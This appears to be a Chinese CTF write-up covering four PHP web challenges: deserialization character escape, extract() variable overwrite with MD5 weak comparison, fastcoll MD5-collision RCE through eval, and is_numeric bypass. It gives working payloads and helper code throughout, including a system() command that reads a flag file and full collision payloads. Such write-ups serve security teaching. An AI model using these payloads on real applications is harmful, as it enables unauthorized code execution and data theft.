今天上午朋友分享了一个CTF比赛,但是起床就是9点多了,急忙备份了一下源码,十点上课上到中午,吃完饭回来简单复现一下
web1
考点:PHP反序列化字符逃逸
把GET
上去的qqqq
和wwww
存入一个数组,然后继续序列化,对序列化的字符串进行过滤,然后再反序列化,一看就是字符减少型的反序列化字符逃逸。
写个简单的demo测试一下
<?php
function ycctfwf($info){
$filter_arr = array('system','flag','eval');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$info);
}
$profile['qqqqqqqq']="aaa";
$profile['wwww']="flag3.php";
$info = ycctfwf(serialize($profile));
echo serialize($info);
输出结果是a:2:{s:8:"qqqqqqqq";s:3:"aaa";s:4:"wwww";s:3:"bbb";}
把bbb改成flag3.php
,结果就变成a:2:{s:8:"qqqqqqqq";s:3:"aaa";s:4:"wwww";s:9:"3.php";}
,其中flag被过滤,s:9
显然是不对的,所以不能进行反序列化,那么就可以利用qqqqqqqq
吞取后面错误的代码,然后利用wwww
构造自己想要的代码。
目标是把后面构造成;s:4:"wwww";s:9:"flag3.php";}
,但是由于会吞一个flag,所以后面写成;s:4:"wwww";s:9:"flflagag3.php";}
即可,那么令wwww的值为;s:4:"wwww";s:9:"flflagag3.php";}
之后,序列化的结果是这样的a:2:{s:8:"qqqqqqqq";s:3:"aaa";s:4:"wwww";s:33:";s:4:"wwww";s:9:"flag3.php";}";}
,现在需要让aaa";s:4:"wwww";s:33:
被qqqqqqqq
吞取,长度是21,而黑名单只有6字符,4字符,不可能组合产生21个空字符,问题不大,随便试试,去掉一个a,那么s变成2,那么要吞20个字符,需要再添加18个字符,这是可以实现的,systemevalevaleval
即可。
所以payload:qqqq=aasystemevalevaleval&wwww=;s:4:"wwww";s:9:"flflagag3.php";}
web2
变量覆盖
extract
存在变量覆盖问题,直接覆盖content
和$$var
即可,其中$$var=$ycflag
,同时还需要进行md5弱比较,网上搜两个即可
所以可以这样传参,ycflag=s878926199a&content=s155964671a
web3
考点:md5强比较,RCE
直接上fastcoll就行,不过不知道当时比赛环境是windows还是linux,怎么用的是type
fastcoll生成的文件开头就是自己写的代码,但是放在eval里面,如果后面是乱码就不能执行命令,所以需要注释一下后面乱码
可以这样写,这是本地linux测试的
system("base64 flag1.php");//system("type flag1.php");
把这个内容写入txt,然后拖到fastcoll,就生成了连个md5相同的文件,然后进行url编码
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("a_msg1.txt"));
$b = urlencode(readmyfile("a_msg2.txt"));
echo "x=".$a;
echo "&y=".$b;
然后生成system%28%22base64+flag1.php%22%29%3B%2F%2Fsystem%28%22type+flag1.php%22%29%3B%00%00%00%00%00%00%00%00%00%00%EE%DC%03%A1%80x%C6%89p%93E%E1%EC%D8%2AY%DA%28%AF%AFv%7Dw%969%A6%7C%22f%BE1%D9o%A3%B9%BF%5C%EEK%2C%E7%05%BD%14%C6%8F%F6%1D%8F%1DY%DC%96%15t%DD%CC%29QsY%B1AK-%29%AB1%A1%C2%B1%A1%EFV%81Li%12%22%17P%BEcm%29%86%16%2B%C9Z%F6%CD%ECG%FEmX%C3F%16%02%CA%22%3D%C8ct7%8E%A0ahU%05%10%E6i%BA%89%F5%A2V%0E%1B%8B%C7s%CB&y=system%28%22base64+flag1.php%22%29%3B%2F%2Fsystem%28%22type+flag1.php%22%29%3B%00%00%00%00%00%00%00%00%00%00%EE%DC%03%A1%80x%C6%89p%93E%E1%EC%D8%2AY%DA%28%AF%2Fv%7Dw%969%A6%7C%22f%BE1%D9o%A3%B9%BF%5C%EEK%2C%E7%05%BD%14%C6%0F%F7%1D%8F%1DY%DC%96%15t%DD%CC%29Q%F3Y%B1AK-%29%AB1%A1%C2%B1%A1%EFV%81Li%12%22%17P%BEc%ED%29%86%16%2B%C9Z%F6%CD%ECG%FEmX%C3F%16%02%CA%22%3D%C8ct7%8E+ahU%05%10%E6i%BA%89%F5%A2V%0E%9B%8B%C7s%CB
web4
发现是个原题https://blog.csdn.net/qq_36292543/article/details/132598204is_numeric
用空字符%00绕过,is_hwhs_number
用%0C绕过